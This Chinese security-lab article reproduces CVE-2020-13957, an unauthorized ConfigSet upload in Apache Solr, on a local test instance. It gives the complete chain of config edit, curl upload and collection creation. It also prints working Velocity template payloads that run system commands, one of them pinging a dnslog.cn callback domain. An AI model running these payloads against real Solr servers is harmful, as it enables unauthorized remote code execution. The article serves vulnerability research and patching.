网安引领时代,弥天点亮未来
Apache Solr是一个独立的企业级搜索应用服务器,在ConfigSet+API+中存在未授权上传漏洞风险,被利用可能导致RCE。
Apache+Solr+6.6.0+-6.6.5+
Apache+Solr+7.0.0+-7.7.3
Apache+Solr+8.0.0+-8.6.2
1、环境搭建
本次漏洞测试环境版本solr-7.0.1,window 10部署
Apache Solr下载链接
http://archive.apache.org/dist/lucene/solr/7.0.1
2、进入相关目录 solr-7.0.1bin,启动solr
solr.cmd start -c
3、访问漏洞环境
http://192.168.60.1:8983
4、漏洞利用
1.进入
server/solr/configsets/sample_techproducts_configs/conf
目录修改solrconfig.xml配置文件
原配置内容:
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
<str name="template.base.dir">${velocity.template.base.dir:}</str>
</queryResponseWriter>
修改后配置内容:
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
<str name="template.base.dir">${velocity.template.base.dir:}</str>
<str name="solr.resource.loader.enabled">${velocity.solr.resource.loader.enabled:true}</str>
<str name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}</str>
</queryResponseWriter>
2.执行
zip -r - * > yunzui.zip
注意:这里需要Linux进行加载(Windows10下可安装Linux子系统并安装zip),且第一次占用空间很大!!!
apt-get install zip unzip (root权限)
3.然后把zip通过命令行上传
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @yunzui.zip "http://192.168.60.1:8983/solr/admin/configs?action=UPLOAD&name=yunzui"
4.创建一个新的配置
curl "http://192.168.60.1:8983/solr/admin/collections?action=CREATE&name=yunzui2&numShards=1&replicationFactor=1&wt=xml&collection.configName=yunzui"
5.测试命令执行
http://192.168.60.1:8983/solr/yunzui2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
通过DNSLog平台生成域名:
se5e2u.dnslog.cn
执行命令
http://192.168.60.1:8983/solr/yunzui2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))+#set($ex=$rt.getRuntime().exec('ping se5e2u.dnslog.cn'))+$ex.waitFor()+#set($out=$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
效果查看
升级Solr版本。
http://archive.apache.org/dist/lucene/solr/8.6.3/
https://blog.csdn.net/qq_40989258/article/details/109121350
知识分享完了
喜欢别忘了关注我们哦~
学海浩茫,
弥 天
安全实验室
本文始发于微信公众号(弥天安全实验室):CVE-2020-13957 Apache Solr 未授权上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论